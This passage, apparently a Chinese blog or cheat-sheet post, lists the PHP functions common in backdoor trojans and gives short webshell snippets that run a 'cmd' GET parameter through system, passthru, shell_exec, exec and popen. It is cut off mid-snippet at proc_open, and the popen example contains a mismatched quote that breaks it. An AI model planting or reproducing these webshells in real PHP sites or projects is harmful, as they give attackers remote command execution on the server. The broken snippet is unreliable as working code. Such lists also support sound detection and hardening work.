php后门木马常用的函数大致上可分为四种类型:
1. 执行系统命令: system, passthru, shell_exec, exec, popen, proc_open
2. 代码执行与加密: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13
3. 文件包含与生成: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite
4. .htaccess: SetHandler, auto_prepend_file, auto_append_file
1. 执行系统命令:
system 函数
//test.php?cmd=ls
system($_GET[cmd]);
passthru 函数
//test.php?cmd=ls
passthru($_GET[cmd]);
shell_exec 函数
//test.php?cmd=ls
echo shell_exec($_GET[cmd]);
exec 函数
//test.php?cmd=ls
$arr = array();
exec($_GET[cmd],$arr);
print_r($arr);
popen 函数
//test.php?cmd=ls
$handle = popen('$_GET[cmd], 'r');
$read = fread($handle, 2096);
echo $read;
pclose($handle);
proc_open 函数
//test.php?cmd=ls
$descriptorspec = array(